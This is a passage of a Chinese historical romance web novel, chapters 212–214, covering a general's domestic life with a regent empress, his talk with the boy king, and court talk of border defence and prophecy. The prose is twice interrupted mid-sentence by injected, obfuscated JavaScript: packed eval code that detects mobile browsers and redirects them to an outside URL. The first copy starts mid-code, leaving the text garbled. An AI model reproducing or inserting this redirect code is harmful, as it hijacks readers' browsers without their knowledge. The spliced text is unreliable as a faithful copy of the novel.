院墙外传来清道响鞭声、忙而不乱的脚步声,迅速向前门口移去,打断苻洵思绪。 “去接她吧,你们早点歇息”,元璟起身悠悠地说,“我回桐花别苑了。” 苻洵疾步向院门走去,身后传来元璟的吟唱:“天南地北双飞客,老翅几回寒暑……渺万里层云,千山暮雪,只影向谁去……” 他身躯一震,停住脚步,没有回头,手却难以自已地颤抖、泪水盈满眼眶。 “阿洵,你们是一样的人啊。可幸,你们对彼此这样了解;不幸,你们对彼此这样了解”,元璟站在身后,意味深长地说,“在你做任何决定之前,想想这句话吧。” 苻洵走到门口时,许姿正将摇摇晃晃的舜英扶下肩舆,吩咐仆妇去抬软榻,见他来了,眉间露出喜色,忙吩咐人关门。 她满身都是酒气,苻洵打横抱起她的时候,她却十分安静,脑袋歪在他胸口,呼吸平稳。 快走到卧房门口时,她忽然伸臂环住苻洵的脖子,喃喃道:“阿洵,我们拜过堂的,不准瞎讲面首什么……” 苻洵心一软,将她放在床上,拨开颊边散落的鬓发,轻声道:“不乱说了。” 舜英定定望着他,眼睛亮得吓人:“五年之约,相信我、我有办法的……” 苻洵正张嘴,门外传来通报声:“娘娘,王上还在门外不肯走。” 212. 入幕之宾(下) 邶风别苑、鹤雪别苑门对门,正中一条阔街。自从他们入住,这一段街道也圈进卫尉寺的保护范围,不许闲杂人进入。 两侧大门口的风灯分别透出轻红昏黄,模模糊糊融成一片。只有巡逻侍卫踏过街面的脚步声,响在空寂无声的夜晚。数枝桂花伸出围墙,飘落簌簌碎金细银。 承祎在台阶下静静伫立,仰头看着那片轻红,远处传来三更的梆子声。 他生着丹凤眼,清冷上挑,眼尾微微泛红,忽然一撩下裳、屈膝跪下。站在他身侧的元璟无声叹息,也随他撩袍跪了下去。 “叔公,我想了那么多办法,想哄母后开心些,她为何还对我这样客气?”他死死盯着紧闭的大门,“她连承祉都能原宥,就因为我长相性子太像父王,她也一并讨厌我么?” 元璟挤出个温和笑容:“陛下,回去吧,阿英只是喝多了。” “骗人,她今晚根本滴酒未沾,”承祎的丹凤眼蓄满泪水,尽是不甘,“我看得清清楚楚,她偷偷把酒吐到衣袖上了。” 元璟笑容凝固在脸上,沉声说:“陛下,阿英为了让你在这位置坐得安稳,已竭尽全力。” 承祎垂眸,泪水轻轻滴落:“就只这样么?” 元璟眸中精光暴涨,一瞬不瞬盯着他:“阿英为何这样,陛下当真不知么?还是说,陛下觉着她的感受无足轻重,无论你做什么都有苦衷、都情有可原,她都该无条件原宥,一如既往地顾念你——就像曾经对你父王一样。” 他带着冷笑,一字字宛如淬毒:“陛下果真酷肖其父,尤其是心性!” 承祎身躯猛然一僵,眼中露出凄怆和决绝,从袖中捧出一包药粉,对着门内高声呼喊:“请母后以彼之道、还施彼身,赐还儿臣一杯毒……” 元璟猛然捂住他的嘴:“陛下慎言。” 忍无可忍,元璟冷声说:“臣理解陛下,在位七年,五年被太后掌控,谨言慎行、如履薄冰,不甘心除掉一个太后、再来一个太后继续把持朝政,可是……” “陛下啊,你没耐性等自己羽翼丰满也罢,怎就敏感多疑成那样?”他眼神从冰冷嘲讽逐渐转为悲哀,“阿英回来,本就只打算帮你掌权、让你平安长大,等你满十四岁就功成身退。” 一轮圆月高冷如霜、投下满街清辉,夜风清吹得承祎瑟瑟发抖,怔怔望向门内,大颗大颗泪水无声滴落。 “陛下,回去吧,明早还有朝会,缘来缘去缘如水,不要强求”,元璟长声叹息,站起来向街外走去,走出几步又蓦然回首,补充了句,“阿英为了国本稳固,会永远保守这个秘密,还请陛下自重!” 丑时的更声响起,承祎注视地上药粉包良久,忽然伸手拆开药粉,双手举起倒向口中。 簌簌细响破空,几枚桂叶飞旋着激射而来,正正弹中手腕,他胳膊一麻、颤抖着从地上捡起那枚桂叶,抬头看向墙内方向,泪水大颗滚落、唇角扬起凄然笑意。手臂撑地,一点点站直酸麻的膝弯,踉踉跄跄走向东华门。 桂树上那团模糊黑影忽然动了,苻洵盯着承祎的背影,若有所思片刻,轻盈旋身落在小径上,拍了拍肩膀蹭上的灰尘,走向厨房。 舜英刚刚沐浴完,坐在火笼边,自顾自用帕子擦着头发。离宫居住后,她恢复了不让人近身伺候的习惯。 乌发半干不干,她懒懒散散靠在坐榻上,烤着炭火。肚子咕咕直响,她摸了摸肚子,听到门外脚步声,立即眉开眼笑:“糕拿回来了?不用蒸热,先拿来给我垫垫。” 门“嘎吱”一声轻轻开了,一股久违的香气飘进鼻孔,香得她更饿了。 那是一碗酸汤面,鲜红的汤汁热气腾腾,漂浮着番柿、虾仁和小白菜,柔韧劲道的面条浸满汤汁,底下还埋着两个溏心煎蛋。 “夜里吃多了甜糕肚子疼,我对厨房不熟,只找到这些煮了碗热汤面”,苻洵将酸汤面放在她面前矮凳上,“尝尝,是不是跟在山里的味道一致?” 舜英埋头喝了一口汤,酸甜可口、鲜掉眉毛,白蒙蒙水汽将她眼睛熏得发红,她仔细品尝着每根面,忽然笑了:“那年你二十九岁,我煮了一碗长寿面,没放盐还黏成坨。” 苻洵也笑了:“还挺好吃,不过桂花酒更好喝。” “我让她们摘些桂花,哪天得空再酿它上百坛,给阿旭和师父都送些,再让人送些去宛平”,她吞咽着鲜爽热汤面,眼睛笑起来亮晶晶的,“以后每年这个时候,我都要酿很多桂花酒。” 苻洵眼神躲了躲,垂眸回复:“好,每年。” 第二天一早,深居简出一个多月的苻洵终于出门,一帮好奇心重或行事谨慎的的大臣立即派人暗中跟随,跟啊跟,一路跟到远郊。然后,看到苻洵带府上管事和采买进了某菜农家里,过了一刻后出来,进了另一户菜农家…… 他在认真地挑选鲜蔬! 过了一个多时辰,终于选好菜农。他又骑马上山,慢条斯理走过一片片果林…… 他在更认真地挑选鲜果! 选好果农后,他去江边渔村转了一圈,一家一家对比鱼虾品相…… 跟踪了大半天、水都没喝上两口的暗探们,两眼一黑。 翊史《佞幸篇》记载的情郎面首,不是忙着吹拉弹唱悦心,就是忙着潘驴小闲悦身,或是忙着结交朝臣替自己捞好处,偏偏他如此……贤惠,贤惠得连翊国土生土长的男子都自愧不如。 如同寻常百姓家,最疼娘子的体贴夫君,为宫廷的孤清带去一抹鲜亮烟火气。 元旭带人抱着一叠奏折进来时,苻洵正站在影壁后与管事说话,元旭熟视无睹,匆匆进了南院。邶风别苑很大,南院处理公事,设有书房、藏卷阁、秉笔女官、中书令的庑房,有重兵把守,苻洵也从不踏进半步。 他们相守多年,在边界感和分寸上,早已磨合得恰到好处。 元旭出来时,苻洵还在跟管事说话,管事对他尊重之中带着一丝……敬畏,尊重是因为知道他是男主人,敬畏是因为他早些年的杀神之名。 元旭煞有介事听了一耳朵,然后听到苻洵…… 他正在吩咐厨娘每晚留一些食材,他有时会亲自下厨,给舜英做些小食。 元旭促狭地挑挑眉:“你这指挥千军万马、拉三百斤强弓的手,如今洗手作羹汤,倒也舍得?” 苻洵懒懒一瞥:“说得像我拉不动强弓了一样,用进废退,骑射和武艺一日不可懈怠,顺便替她喂喂招。” “听说你还抚得一手好琴,作得一手好画,哪天切磋切磋?”元旭佯作忧伤,叹了口气,“女君背后的男人啊,不容易。” 苻洵:“慢走不送!” “别撵人啊,我真有事”,元旭凑过去压低声音,“阿珂好日子快到了,嫌庄子上送来的菜不新鲜,嘴里没味儿。你挑的那些果蔬河鲜,也带我家管事去看看呗?” 苻洵:“让你家管事自去找我家的,慢走不送!” 桂花香气淡去,木芙蓉和木槿连缀成片,像浅粉瑰紫的云霞,随后是飞舞满空的金色银杏叶。秋去冬来,苻洵已在邶风别苑住了将近四个月。 承徽时常在鹤雪别苑和邶风别苑来回跑,苻洵对她十分上心,每每舜英检查着徽儿功课时,他总恍然回到当初洛川别苑,一家四口的日子。 有时政务清闲,承祎也会带穆阐一起来坐坐,虽说仍客气疏离,一来二去也熟稔不少。 官员、宗室、侍卫、家人,从最先惊讶猎奇,到逐渐习惯苻洵的存在,甚至因其不似传闻跋扈骄矜,还很诡异地相处融洽。 这年九月,班珂诞下一子,元旭替那孩子起名“承祯”。这也是翊都南迁后,宗室诞下的第一 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没听到回应,抬眸看去,舜英支着脑袋靠在榻上,双目微阖、呼吸平稳绵长,已经睡着。 他忍俊不禁,走过去抱起她:“这几天太累了?回屋睡。” 晚膳主食是咸粥,加了些碎姜末,吃起来味儿有些冲、却暖丝丝的,桌上有道醋鱼,她吃得兴起、竟解决掉大半个鱼腹。她近来喜欢吃烤栗子、松子,爱在饭食里加姜末和醋,苻洵默默记下,叫来管事细细吩咐。 “你最近时常犯困,要不要宣个御医来瞧瞧?”睡前,苻洵胆战心惊提议,前几年舜英油尽灯枯的模样,他至今仍后怕,不由多了几分紧张。 舜英笑了笑:“我心里有数,自会去找大夫。” 又问:“你这次回奉宁,多久回来?” 苻洵道:“看哥哥的身体,若还需侍疾就久些。菁儿年底订婚,哥哥不好太劳累,我这亲叔叔想留在奉宁操持,就不回来过年了。” 舜英眸中闪过不易察觉的失望,旋即笑了:“那等师父游历回来,我直接请他来这儿住。” 思忖片刻,又说:“你这次不如一并去北疆看看,免得一来一回,折腾在路上不少时间。” 苻洵偏过头,蹭了蹭她鼻尖:“那样太久了……” “你这就把狼骑忘了?”舜英噗呲笑起来,“小半年,该有些成效,就当是代我巡军,巡完再回来多待几个月。” “遵命”,苻洵嬉皮笑脸支起身子,“俗语说,温柔乡是英雄冢,外臣想以下犯上。” 伸手轻轻摩挲她颊边,顺势滑下去、滑进领口,低头欲吻,被她一把薅开。 “啧,好狠心。”他笑吟吟说着,翻身躺下。 舜英忽然问:“阿洵,你觉得承祎如何?” “这是我能妄议的?”苻洵佯作惊讶,然后悠悠地说,“若我是翊人,将喜闻乐见他为君上,可我不是,所以这问题,我不想回答。” 舜英会意:“阿洵,这次回去,将咱们在荣国的家收拾收拾吧。” 顿了顿,她轻声说:“我想让承祎早些亲政。” 苻洵有些担心:“他会放你走?” 舜英道:“我自有办法,放不放我走,他说了不算。” 次日清晨,苻洵牵着马匹疾步走到明月渡,舵手早已将船靠过来、放下跳板。 前几个月,苻洵短暂回过几次奉宁,元旭特意替他安排了一艘专用快船。 苻洵正要登舟,身后有人呼喊:“苻将军请留步。”是童音,清脆中带着与年龄不符的沉稳。 苻洵转身看清来人后,躬身一礼:“外臣见过陛下。” 213. 心魔 元承祎模样生得好,丹凤眼、高鼻薄唇,七八分像元旻,却比元旻更精致,眉骨更柔和,因此显得没那么凌厉。 个子也很高,还不到十三岁,已长到苻洵下颌高度。仪态十分周正,往那端端一站,自带渊渟岳峙的气度。但他一直对苻洵颇为谦恭有礼,走近后躬身一揖:“苻将军可否借一步说话?” 苻洵从未与他单独相处过,于是客气笑了笑,随他走向一旁石亭。亭中石桌上已摆好一桌菜肴,还有一壶酒、两只酒杯。穆阐正候在亭中,瞥见他们,忙遥遥迎上来。 真是令人头疼的架势……苻洵默默腹诽,满脸微笑坐下。 不知为什么,他半辈子天不怕地不怕,却有些怵元承祎。 承祎注视着他,问出的第一句话就令他汗毛倒竖、险些跌下座位。 “将军此去还回来吗?什么时候回来?” 十分像出发之前,殷殷盼归的情人娘子。 苻洵干笑两声,正飞快想着说辞,承祎又徐徐问:“能否早些回来?” 苻洵彻底不知怎么作答了。 穆阐给他们二人斟茶,苻洵忙端起茶杯,小口小口抿着。茶杯很大,茶斟得很满,所以苻洵可以抿很久。 承祎目不转睛注视着他,悠悠抛出第三个问题:“苻将军觉得,穆阐哥哥怎样?” 这话题苻洵熟,忙笑吟吟说:“穆公子一表人才、天资聪慧,年纪轻轻便能入东宫侍读,立如芝兰玉树,笑如朗月入怀……” “请将军用茶。”穆阐柔声打断,白净脸皮晕出绯红,将苻洵面前那杯茶添满。 苻洵赶紧低头,继续小口饮茶。 “既然苻将军如此欣赏穆阐哥哥,晚辈有一事相求”,承祎仔细观察他每一丝表情变化,一字一字沉声说,“晚辈欲和穆阐结拜异姓兄弟,请苻将军收穆阐为义子。” 苻洵手一抖,剧烈呛咳起来,穆阐“哐当”一声,打翻了水壶。 想了想,苻洵还是决定问出那三个很蠢的字:“为什么?” 承祎的镇定绽出一丝裂缝,轻声道:“十多天前,母后已开始让我单独批阅奏折,昨天又以身体抱恙为由,在大庆殿设了一道帘子,从摄政转为听政……她想提前还政。” 苻洵忙真诚附和:“陛下虽年幼,却是天生的明君之材,褚后娘娘可能觉得陛下已能独当一面……” “她想抛下我,跟你远走高飞”,承祎表情平静无澜,像是在谈论与己无关的事,眼眸神彩黯然,“可能还会带上徽儿、甚至承祉,将我一个人抛在这偌大牢笼。” 苻洵心念一动,垂眸思索片刻,对穆阐说:“劳烦穆公子替外臣告知一下客船,等候片刻。” 穆阐会意,招呼随从宫人退开数十丈、守在圈外,自己也远远站着,只见其人不闻其声。 苻洵重新将茶壶注进清水,在炉子上烧得沸腾,静静替承祎斟满。 承祎盯着他片刻,拿起酒壶替他斟满,又给自己倒了一杯,端起来一饮而尽:“母后厌恶王宫的一切,她不想被困在那儿,多一刻都不愿。” 他一向寡言,压抑太久,借着酒劲一发不可收拾,拿起酒杯又替自己倒,边倒边说:“但是有你在,她每天都很开心,一开心就不着急走了。” 苻洵叹了口气,伸手轻轻一拦:“陛下年岁尚轻,饮酒伤身。”旋即,端起自己面前酒杯,平静地一饮而尽。 承祎视线追着他端酒杯的手,咽下酒液的喉咙,露出一丝不易察觉的笑容:“将军倒是跟传闻一样,胆子很大。” 苻洵又给自己倒了一杯,缓缓端到眼前打量:“喝这个不需要勇气,里面没有毒。” 承祎瞳孔急遽张大,攥紧拳头,手臂微微发颤。 苻洵扬唇一笑:“外臣像陛下这样大的时候,亲手杀过一个人……不是仇人。” 承祎眼里惊惧消失,轻声问:“是心里最喜欢、最亲近的人?将军能否给晚辈讲讲那段往事?” “说起来倒有些相似”,苻洵静静怀想半晌,不疾不徐道,“征和十二年,我刚满六岁,被父王送到昇阳为质子……” “六年后,令尊发兵上阳郡,兵败”,承祎沉吟接口,“所幸将军逃出生天。” 苻洵苦笑着摇头:“可那段时间,我宁愿痛痛快快死了。我与同来的侍卫、先生、傅母、随从、仆妇二十多人,全被驱入龙津围场、当作移动的活靶子,供逆王的几个儿子取乐……” “竟有此等惨无人道的暴行”,承祎手抖得厉害,不自觉倾身向前,“后来呢?” 苻洵紧紧捏住酒杯,唇角剧烈颤抖:“我的傅母,从我成为质子那天起,一直待我视如己出,温柔周到又有耐心。她死在征和十九年春天,身上很多伤已经溃烂,还替我挡了一箭——不是什么要害,可我们都宁愿是要害……” “那天晚上,我和她被关在营房,我浑身疼得睡不着。她更严重,却一直咬牙不肯出声,后来实在忍不住,哀嚎了大半夜……我抱着她一直流泪,觉得自己很没用,天亮时,我做了个决定……” 承祎眼圈泛红,浮起星星点点泪光,说出下半句:“活着这样苦、这样绝望,不如亲手替她了结痛苦,再随她而去。” 苻洵含泪笑了:“那是我第一次杀人,手却很稳……” “后来呢?”承祎颤声追问。 苻洵闭目、将泪水关回眼眶,声音忽然柔软:“我被人救了,救我的和救你的,是同一个人。” 承祎举袖拭去泪水,神情多出几分轻松和释然:“都说孩子没有三岁前的记忆,可那些画面总像刻进骨子里。父王样样出色,严于律己也严以待人……对承徽和承祉还好,我是嫡长子,所以得要求更高……” 苻洵道:“庄王自小聪慧又勤奋,习惯了样样出挑拔尖,同为嫡长子,自然会以己度人。” 承祎眼里浮起温柔:“可母后不一样,她虽然也跟父王一样要强,却是鲜活的,会笑、会生气、会难过……她刚不在的那两年,祖母虽然对我很贴心,常笑、很少斥责我,带给我的感觉却跟父王很像,完美、周全、没有一丝活气。” 苻洵唇角翘起笑意:“所以你很喜欢平南侯。” “每次祖母跟我说起父王,我总记不起他的脸……却总想到六叔”,承祎脸上显出孩子的局促和羞赧,可眼前男子莫名让他觉得心安,支撑他一股脑说下去,“实不相瞒,我跟韦娘子躲在田庄的时候,听着外面传言,竟有几分希望是真的。” 苻洵心下了然,有些忍俊不禁:“所以你又拔剑砍了平南侯?你将他看得太重,一旦违背你的预期,伤害也越大、越不可原谅。” 承祎双颊霎时通红,低头嗫嚅说:“现在六叔也很怕我……” 苻洵垂眸,默默怀想良久,深吸一口气:“我还险些杀了另一个血亲。” 每个字都带着颤抖、剧痛,像是剖开胸膛、掏出一颗血淋淋的心脏。 “怎么你也……”承祎失声惊呼,转瞬发现失态、恢复沉静,“那位血亲现在还好么?” “如他所愿,闲云野鹤”,苻洵看着承祎,笑意温和、泪盈满眶,“在我险些害死他的十一年后,他再次听说我的消息,问的关于我第一句话是——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095425|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是否康健?是否安乐?” 承祎身躯一颤,再难以抑制,泪水夺眶而出,扯动唇角挤出笑容,微微躬身:“多谢将军指教,晚辈知道该怎么做了?” 他默了半晌,缓缓拭去泪水,恢复平静后又问:“晚辈听闻,将军由建宁王一手抚养长大,能否给讲讲他是怎样为君为王的?是否也如父王那般强势凌厉、无懈可击?” “外臣无执政才略,恐令陛下失望”,苻洵泰然笑了笑,“不过,仅外臣知晓,他执政之初犯过许多错误、栽了很多跟头,后面才越走越稳。” 承祎有些难以置信:“父王曾说,为君应多思慎言、每个决定都应当无懈可击,国君每个小小决定落到百姓身上,就是几辈子翻不了身的大山。” “那是因为他有……”苻洵默默咽下“毛病”二字,对子骂父太无礼,他斟酌字句委婉道,“道理是这样的,可他过分执着所谓‘完美’,最终缚住了自己。” 承祎定定注视着他,眼眸万古不化的高冷融化了,若有所思喃喃:“犯过错、栽过跟头……已经这样,剩下的日子,就好好弥补这些过错吧,权当是赎罪。” “陛下虽尊至九五,却也是人,这世上哪有不犯错的人?弥补是一回事,不要太耿耿于怀、负重前行”,苻洵目光更温和,声音竟不自觉柔软许多,“你姑母、也就是已薨逝的元王后曾说,体地法天,负阴抱阳,喻瓜熟蒂落,啐啄同时。” 承祎这次沉吟思索的时间更久,末了,眉眼浮起笑意,竟恢复几分孩童稚气。 忽然满目期盼地问:“将军也和六叔一样,是父王的朋友吗?” “我曾以为自己可以是”,苻洵意味深长地笑了,带一丝无奈和释然,“可惜后来,他只把我当作污点。” 承祎眸中神彩黯淡下去,轻声道:“现在,母后、六叔和我们兄妹三人,怕是也成为了父王的污点……” “那又怎样?”苻洵悠悠反问。 承祎蓦然怔住。 “成为他的污点又怎样?你们活着,难道只是为了成全他的完美?”苻洵继续反问,眼神却没有丝毫嘲讽,温柔而坦荡,“陛下,家兄曾对我说,别人怎么想我不要紧?要紧的是我自己想活成什么样。咱们这一辈子,最该成全的是自己。” 承祎眼里有似曾相识的迷惘和挣扎,看得苻洵心里一揪,声音更柔和:“陛下年纪轻轻已如此了得,但愿往后先想想如何成全自己。” 承祎离去时,再石桌上留下一枚印信,由国君亲授,可持之出入东华门,并随意抵达紫极殿、集贤殿、大庆殿、上书房等几大殿堂门口。 “晚辈希望将军回来后,能常进宫接母后回家”,他说这话的时候,眉间萧索清苦已淡了许多,又指向身后,“晚辈以外甥之礼,给姑丈和表弟略备薄礼,劳烦将军代为送达。” 苻洵注视承祎的背影良久,又看了看桌上印信,扬唇笑了:“分明一点都不像。” 然后,他站起来走向客船,将印信还给穆阐:“让他放心,我会回来。” “我在小陛下跟前侍读小半年,他一直又聪明又勤奋,性情也很温和”,穆阐神色松快,“其实人挺好,只是不太懂怎么跟别人相处。” 苻洵叹了口气:“小小年纪,被冯太后压制这么些年,没疯就不错了,居然能周全至此。阐儿,你跟了个好主上。” 穆阐双颊透出薄红,又略带担忧地问,“听说建宁陛下近年抱恙,现在如何了?” 苻洵摸了摸他的头:“近来已有好转,我这次回去告诉他,阐儿很关心他,指不定他一开心病就好了。” 214. 相术谶言 苻沣的病,一部分因接连丧妻、悲痛过度,更多是积劳成疾。 世道混乱无耻,选择当君子总要付出代价,若那君子是国君,付出的代价则尤为惨痛。 骑兵是个无底洞,从两年前冯太后与三郡二州交恶,荣国在抵御狼骑之事上已无路可退。国库不够就裁撤宫人、减少宗室开支,查抄贪官、整治商贾,饶是如此,也已到了极限。频繁的战事,早已将这个国家拖垮。 若非舜英及时在阊江夺回大权,怕是要走到苛捐杂税那一步。就算没有外敌来犯,国民也会揭竿而起。 褚舜英临朝称制后,将先前荣国支援三郡二州的粮草,尽数以借贷外债的形式归还,还加了不少利息。困扰苻沣近两年的粮草问题迎刃而解,强撑着的那股劲散了,逐渐显出力不从心和衰老。 但他仍竭力撑着,药石、饭食、习武,一样不曾落下。苻洵回去阊江过几次,他总以玩笑的语气说,稷儿年幼、北宛未灭,这么多事放不下,他不会轻易撒手。 这次召苻洵回奉宁,是为一件军国大事——边墙固防。 兵圣曰:战势不过奇正,奇正之变,不可胜穷也。正兵当敌,奇兵制胜。 正兵,节制之兵也,兵多将广、粮草丰足,摆开阵势正面应敌作战,一力降十会、强势碾压平推;奇兵,简捷之兵也,神出鬼没、灵活诡谲,出其不意攻其不备,攻其暗壁袭其粮草,打蛇七寸、专攻敌军最薄弱的环节。 翊国富庶豪横惯了,出来的大都是稳打稳扎的正兵将帅,如元承赟、谢朗之流;荣国一向贫瘠骁勇,没那么多军费,出来的大都是以少胜多的奇兵之才,如苻洵、南宫羽等人。 石脂的破坏力太大,北伐不得不拖延,先巩固自家城防。各处粮仓和边镇除需储存大量水车,还需运送大量湿沙,城墙加高到可阻挡大部分投石机投石,加高箭楼、增多驽床,这还不够…… 曲勒分批上贡石脂,苻洹亲自召集玉照各大铁匠,将各种熟铁和钢材混合试验,挑挑拣拣,终于筛选出不会被石脂烤化、又够坚硬强韧的钢材冶炼秘法,可用于更换边墙大门。 一时之间,三郡二州、阊江将无数库存铁矿集中起来,送至玉照冶炼。 其实有更快捷的办法:以彼之道还施彼身,但苻沣和褚舜英一致认为,滥用石脂将使战争的杀伤力成千上万倍放大。虽这是大势所趋,他们仍希望那一天晚点到来。 所以,依然是老路:高筑墙,城门全部换成千斤闸铁包门。 然后,还需最后一道程序——校验。 军事重镇的防守是否坚固,是否滴水不漏,只用正兵的眼光远远不够。还需苻洵这擅用奇兵、神出鬼没的将才去看看——冯栩还是他徒弟,熟悉对手路数,检查起来更得心应手。 苻洵先去北卢郡,将大大小小关隘边墙山崖峭壁逐寸查验了一遍,又看过冰厚数丈的伊河,提了些薄弱之处,快马加鞭回到奉宁时,已近年节。 经过洛川别苑时,情不自禁下马进去转了转,正遇上苻阙和兕儿,在给姚晟送军资和军饷。自从他去年决意长驻外地,苻沣又在洛川别苑陆陆续续养了十几名将领遗孤,由花姨娘和贞姨娘打理,冷冷清清的宅子多了孩子笑闹声,颇为热闹。 苻洵每个月的俸禄尽只够供养洛川别苑开支,好在混到他这份上,并不靠俸禄度日,每场胜仗赏赐也不少,走哪儿衣食住行都有公中开支,逐渐对银钱也不大有概念。 进宫面圣时,苻洵一直在琢磨临行前、舜英说要提前还政的话,合计了下手头的军功赏赐,开始忖度去哪儿置田产,将来好养娘子……可能还有孩子。 想到这儿,他也不禁心潮澎湃,脚步轻快眉眼俱笑走进上书房…… 四个人齐刷刷转过来,四双眼睛齐刷刷看向他。 三大一小,苻沣、苻洹、景樊,年仅六岁的苻稷躲在苻沣背后,这场景不像议事,倒像是打马吊三缺一。 苻洹一见到他就笑盈盈地招呼:“在阊江过得怎样?有没有吃苦受罪?” 苻沣将养得好,气色和精神比上次好了许多,淡淡地说:“他那狗脾气,不让别人受罪就不错了。” 归宁的小赘婿被一堆亲人围着,嘘寒问暖,苻洵莫名打了个寒战,干笑两声。 好,好得不能再好,娘子对自己好,娘子的亲朋挚友对自己也好,就连娘子的亲儿子也对他极尽周全。 景樊如释重负般松了口气,川字额头也熨平许多,又也说起这大半年两国来往,细细碎碎不一而足,大体是和睦的。几人又向苻洵打听元承祎的才能、性情等…… 这下不像归宁小赘婿,像耳目卧底。苻洵思忖片刻,还是决定说得仔细些,毕竟按照舜英的规划,荣国过不了多久就要直接与元承祎来往。 腰间玉佩在烛火里晕出暖黄微光,刺得他眼睛和心生疼,不禁开始叙说自己在阊江的活动范围:除了邶风别苑,就只大庆殿和上书房。其余时候,哪怕外出去远郊,就有耳目暗探跟随——他所言非虚,也庆幸自己未收下承祎赠送的印信。 娓娓说着,他目光移向苻沣,他三十来年最亲的亲人,心底忽然涌起一股强烈的愧疚、无力感和悲哀——世间安有双全法,不负家国不负卿? 不同的国、立场,早已在他与爱人之间结成亘古不变的死结。九年前,元旻执意发动“平西计划”时,舜英到底煎熬了多少个日夜,受了多少苦,才下定决心,争取让自己成为主将? 他一直以为自己足够理解她,真正设身处地才发现,远远不够。 书房很安静,就连苻稷也认真地倚在父亲身边,火道熏得屋子一片滚热。苻沣、苻洹、景樊三人不时你瞧我,我看你,每次交换眼神之中暗流汹涌,苻洵却已然不太看得懂。 如今的国家形势,终究走到九年前她的布局;两国内部的政局,也走到三年前他们的约定——他们只管平定北宛,那以后随两国龙争虎斗,他们隐居世外、不再过问两国恩怨。 他莫名感到一阵安心。 静了许久,苻沣忽然发问:“阿洵,你回来的船是谁备的?” 苻洵:“翊国丞相,元旭。” 苻沣又问:“中秋和年节两次来往,谁主动提及的?” 苻洵觉出点意思,心头一亮忙说:“翊国幼主,他还邀我前去中秋家宴,我婉拒了……觉得不太厚道。” 苻沣沉吟半晌,又看了看站在一旁的苻稷,轻轻叹了口气:“知道了,去吧。” 苻洵起身告退时,苻沣又说:“你那宅子现在充公了,今晚就宿清泉宫吧。” “这就充公了?”苻洵一头雾水。 苻沣皮笑肉不笑:“你在阊江待得好好的,我们商量过了,让你继续留驻阊江盟好两国,那宅子空着也是空着。” 苻洵略带尴尬,四下张望,压低声音道:“也不能真吃软饭。” “你不是吃得挺开心?”苻沣弯了弯唇角,眉眼染上点促狭的暖意,“刚好国库穷,发不起你的俸禄。再有异议,军杖伺候。” 苻洵耸了耸肩膀,乖乖退下。 苻沣听见苻洵脚步声原来,才轻轻叹了口气:“果然如咱们所料。” 苻洹点头:“褚太后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099709|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响力着实可怕,振臂一挥就能召集四五万雄兵,一纸书信调动三万水师、淮南驻军。记得年初那会儿,元承赟一听她名头,就直接撤军拥立她临朝称制。” 苻沣幽幽道:“还有当年那步南北分离的险棋,若非冯太后与姜夫人龃龉太深,咱们就算攻下东原道、过不了两年依然得还回去。如今,天下大势又回到褚后当初的布局。” “南北分离是她布局?”景樊悚然一惊,“我还以为是庄王!” “对,全是她”,苻洹摇头感慨,“三郡两州骑兵北上、金州军围困金阙数日、渝安水师全军覆没……桩桩件件全由她布局,比冯太后还难对付。翊国女子,没一个善茬。” 苻沣伸手,有一搭没一搭抚摸着苻稷柔软的头发,轻声说:“可惜,十九年前救了她性命;所幸,十九年前救了她性命……” “十九年前……”景樊更是惊异,垂眸思索半晌,霍然抬头惊呼,“她还到过荣国?” 苻沣笑了:“何止到过,男扮女装,住过整整四年多……” “是不是作小厮装扮,常随侍庄王左右?”景樊一贯的镇定荡然无存,眼里闪着惊愕惶恐,喃喃低语,“……贵客雅量,望之为人杰,然陪坐奉茶之人,乃真英雄也……” 苻沣却知晓些内情,瞳孔急遽收缩,忙屏退苻洹和苻稷,压低声音问:“你也带相术师看过庄王?” 景樊神思恍惚喃喃许久,才如梦初醒,娓娓解释道:“微臣自年幼遭无妄之灾,深感福祸无门,每做重大决定之前,除细细分析利弊,必还会请相术师相面。譬如当年决定拥立陛下……陛下有王者之相。” 苻沣沉吟问:“你见庄王当日情状,可还记得?” “印象太深,终身难忘”,景樊幽幽地说,“我只承诺替庄王办一件事,是以之前从未正面接触。直到永兴三年妓馆杀人案之后,庄王约我去绵水北岸沐风亭,同来的还有一名少年,似乎叫‘阿七’……” 苻沣一震:“正是她,后来呢?” “庄王走后,相术师说,贵客雅量,望之为人杰,然陪坐奉茶之人,乃真英雄也”,景樊垂眸回忆,徐徐说,“但因相术师后一句话,臣并未将此事放在心上。” “他说,陪坐奉茶之人,若是男子,将为当世名将;若是女子,则贵不可言、尊至天下英主……随侍庄王的人出挑些也不稀奇……” “因为她是女子,才有机会以太后的身份执掌王权、临朝摄政……”苻沣似有所悟,连连点头,眼眶忽蕴出两汪泪,“景相,你相信国运吗?” 景樊沉默半晌,还是轻声说:“臣相信天命……” “天下大势,分久必合、合久必分”,苻沣仰头望向窗外,悠悠苍天,“从高祖父起,苻氏宗室就开始子嗣稀薄,就算侥幸有一两支繁盛的,所出子弟也都不堪大用……稷儿还小。” 他怆然哀叹:“原本阿洵天资最好,可他天性散漫、易感情用事,又无心王位。如今又与褚太后这样,朕如果一定要让他继位,怕是要将他往死里逼……三百多年祖宗基业,终将断送在朕的手上吗?” 景樊怔怔注视苻沣良久,猛然屈膝叩拜:“微臣冒死斗胆问陛下一句,国祚与百姓,孰轻孰重?” 